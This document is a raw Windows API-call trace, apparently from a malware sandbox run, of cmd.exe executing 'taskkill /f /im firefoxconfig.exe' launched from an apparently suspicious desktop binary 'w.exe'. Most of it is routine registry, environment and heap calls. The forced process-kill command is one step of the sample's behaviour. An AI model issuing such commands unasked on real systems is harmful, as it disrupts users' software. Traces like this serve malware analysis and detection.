	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x1, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x0, lpData=0x37e9d8*=0x1, lpcbData=0x37e9d0*=0x1000) returned 0x2
	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x0, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x40, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x40, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x0, lpData=0x37e9d8*=0x40, lpcbData=0x37e9d0*=0x1000) returned 0x2
	[0040.572] RegCloseKey (hKey=0x68) returned 0x0
	[0040.573] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37e9cc | out: phkResult=0x37e9cc*=0x68) returned 0x0
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x0, lpData=0x37e9d8*=0x40, lpcbData=0x37e9d0*=0x1000) returned 0x2
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x1, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x0, lpData=0x37e9d8*=0x1, lpcbData=0x37e9d0*=0x1000) returned 0x2
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x0, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x9, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x4, lpData=0x37e9d8*=0x9, lpcbData=0x37e9d0*=0x4) returned 0x0
	[0040.573] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x0, lpData=0x37e9d8*=0x9, lpcbData=0x37e9d0*=0x1000) returned 0x2
	[0040.573] RegCloseKey (hKey=0x68) returned 0x0
	[0040.573] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163031
	[0040.573] srand (_Seed=0x5d163031) 
	[0040.573] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im firefoxconfig.exe \""
	[0040.573] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im firefoxconfig.exe \""
	[0040.573] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.573] GetProcessHeap () returned 0x3d0000
	[0040.573] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x210) returned 0x3e2018
	[0040.573] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3e2020, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0040.574] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.574] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.574] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0040.574] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0040.574] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0040.574] GetProcessHeap () returned 0x3d0000
	[0040.574] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e2af0 | out: hHeap=0x3d0000) returned 1
	[0040.574] GetEnvironmentStringsW () returned 0x3e2230*
	[0040.574] GetProcessHeap () returned 0x3d0000
	[0040.574] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xae2) returned 0x3e4b90
	[0040.574] FreeEnvironmentStringsW (penv=0x3e2230) returned 1
	[0040.574] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0040.574] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.574] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0040.574] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0040.575] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0040.575] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0040.575] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0040.575] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0040.575] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0040.575] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0040.575] GetProcessHeap () returned 0x3d0000
	[0040.575] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x54) returned 0x3e5680
	[0040.575] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37f798 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x37f798, lpFilePart=0x37f794 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f794*="Desktop") returned 0x25
	[0040.575] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0040.575] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37f514 | out: lpFindFileData=0x37f514*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3e1e98
	[0040.575] FindClose (in: hFindFile=0x3e1e98 | out: hFindFile=0x3e1e98) returned 1
	[0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37f514 | out: lpFindFileData=0x37f514*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3e1e98
	[0040.575] FindClose (in: hFindFile=0x3e1e98 | out: hFindFile=0x3e1e98) returned 1
	[0040.575] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37f514 | out: lpFindFileData=0x37f514*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3e1e98
	[0040.575] FindClose (in: hFindFile=0x3e1e98 | out: hFindFile=0x3e1e98) returned 1
	[0040.576] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0040.576] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0040.576] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0040.576] GetProcessHeap () returned 0x3d0000
	[0040.576] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4b90 | out: hHeap=0x3d0000) returned 1
	[0040.576] GetEnvironmentStringsW () returned 0x3e40a0*
	[0040.576] GetProcessHeap () returned 0x3d0000
	[0040.576] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb36) returned 0x3e5ee0
	[0040.576] FreeEnvironmentStringsW (penv=0x3e40a0) returned 1
	[0040.576] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.576] GetProcessHeap () returned 0x3d0000
	[0040.576] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5680 | out: hHeap=0x3d0000) returned 1
	[0040.576] GetProcessHeap () returned 0x3d0000
	[0040.576] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x400e) returned 0x3e6a20
	[0040.576] GetProcessHeap () returned 0x3d0000
	[0040.576] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x56) returned 0x3e2d70
	[0040.577] GetProcessHeap () returned 0x3d0000
	[0040.577] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4008) returned 0x3eaa38
	[0040.577] GetProcessHeap () returned 0x3d0000
	[0040.577] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4008) returned 0x3eea48
	[0040.578] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0040.578] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x418) returned 0x3e2dd0
	[0040.579] SetErrorMode (uMode=0x0) returned 0x8003
	[0040.579] SetErrorMode (uMode=0x1) returned 0x0
	[0040.579] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x3e2dd8, lpFilePart=0x37f710 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x37f710*="f") returned 0x31
	[0040.579] SetErrorMode (uMode=0x8003) returned 0x1
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e2dd0, Size=0x98) returned 0x3e2dd0
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e2dd0) returned 0x98
	[0040.579] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x72) returned 0x3f2a70
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3e2e70
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e2e70, Size=0x72) returned 0x3e2e70
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e2e70) returned 0x72
	[0040.579] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.579] GetProcessHeap () returned 0x3d0000
	[0040.579] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe0) returned 0x3e2ef0
	[0040.584] GetProcessHeap () returned 0x3d0000
	[0040.584] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e2ef0, Size=0x76) returned 0x3e2ef0
	[0040.584] GetProcessHeap () returned 0x3d0000
	[0040.584] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e2ef0) returned 0x76
	[0040.584] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.584] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im firefoxconfig.exe ", fInfoLevelId=0x1, lpFindFileData=0x37f4ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f4ac) returned 0xffffffff
	[0040.584] GetLastError () returned 0x3
	[0040.585] GetProcessHeap () returned 0x3d0000
	[0040.585] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eaa38 | out: hHeap=0x3d0000) returned 1
	[0040.585] GetProcessHeap () returned 0x3d0000
	[0040.585] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eea48 | out: hHeap=0x3d0000) returned 1
	[0040.585] GetProcessHeap () returned 0x3d0000
	[0040.585] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6a20 | out: hHeap=0x3d0000) returned 1
	[0040.585] GetConsoleOutputCP () returned 0x1b5
	[0040.585] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7e4260 | out: lpCPInfo=0x4a7e4260) returned 1
	[0040.585] GetUserDefaultLCID () returned 0x409
	[0040.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a7e4950, cchData=8 | out: lpLCData=":") returned 2
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x37f8d8, cchData=128 | out: lpLCData="0") returned 2
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x37f8d8, cchData=128 | out: lpLCData="0") returned 2
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x37f8d8, cchData=128 | out: lpLCData="1") returned 2
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a7e4940, cchData=8 | out: lpLCData="/") returned 2
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a7e4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a7e4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a7e4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a7e4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a7e4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a7e4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a7e4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a7e4930, cchData=8 | out: lpLCData=".") returned 2
	[0040.586] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a7e4920, cchData=8 | out: lpLCData=",") returned 2
	[0040.586] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0040.587] GetProcessHeap () returned 0x3d0000
	[0040.587] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20c) returned 0x3e2f70
	[0040.587] GetConsoleTitleW (in: lpConsoleTitle=0x3e2f70, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.588] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0040.588] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0040.588] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0040.588] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0040.588] GetProcessHeap () returned 0x3d0000
	[0040.588] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x400a) returned 0x3e6a20
	[0040.588] GetProcessHeap () returned 0x3d0000
	[0040.588] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6a20 | out: hHeap=0x3d0000) returned 1
	[0040.589] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0040.589] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0040.589] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0040.589] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0040.589] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0040.589] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0040.589] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0040.589] GetProcessHeap () returned 0x3d0000
	[0040.589] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x58) returned 0x3e3188
	[0040.589] GetProcessHeap () returned 0x3d0000
	[0040.589] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1a) returned 0x3e5720
	[0040.590] GetProcessHeap () returned 0x3d0000
	[0040.590] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x3e) returned 0x3e31e8
	[0040.590] GetConsoleTitleW (in: lpConsoleTitle=0x37f5d0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.591] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0040.591] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0040.591] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0040.591] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0040.591] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0040.591] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0040.591] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0040.591] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0040.591] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0040.591] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0040.591] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0040.591] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0040.591] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0040.591] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0040.591] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0040.591] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0040.591] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0040.591] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0040.591] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0040.591] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0040.591] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0040.591] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0040.591] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0040.591] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0040.591] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0040.592] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0040.592] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0040.592] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0040.592] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0040.592] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0040.592] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0040.592] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0040.592] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0040.592] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0040.592] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0040.592] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0040.592] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0040.592] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0040.592] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0040.592] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0040.592] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0040.592] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0040.592] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0040.592] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0040.592] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0040.592] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0040.592] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0040.592] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0040.592] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0040.592] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0040.592] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0040.592] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0040.592] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0040.592] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0040.592] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0040.592] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0040.592] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0040.592] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0040.592] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0040.592] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0040.592] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0040.593] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0040.593] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0040.593] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0040.593] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0040.593] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0040.593] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0040.593] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0040.593] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0040.593] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0040.593] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0040.593] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0040.593] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0040.593] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0040.593] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0040.593] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0040.593] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0040.593] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0040.593] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0040.593] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0040.593] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0040.593] GetProcessHeap () returned 0x3d0000
	[0040.593] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x210) returned 0x3e3230
	[0040.593] GetProcessHeap () returned 0x3d0000
	[0040.593] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x50) returned 0x3e3448
	[0040.594] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0040.594] GetProcessHeap () returned 0x3d0000
	[0040.594] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x418) returned 0x3d07f0
	[0040.594] SetErrorMode (uMode=0x0) returned 0x8003
	[0040.594] SetErrorMode (uMode=0x1) returned 0x0
	[0040.594] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3d07f8, lpFilePart=0x37f0f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f0f0*="Desktop") returned 0x25
	[0040.594] SetErrorMode (uMode=0x8003) returned 0x1
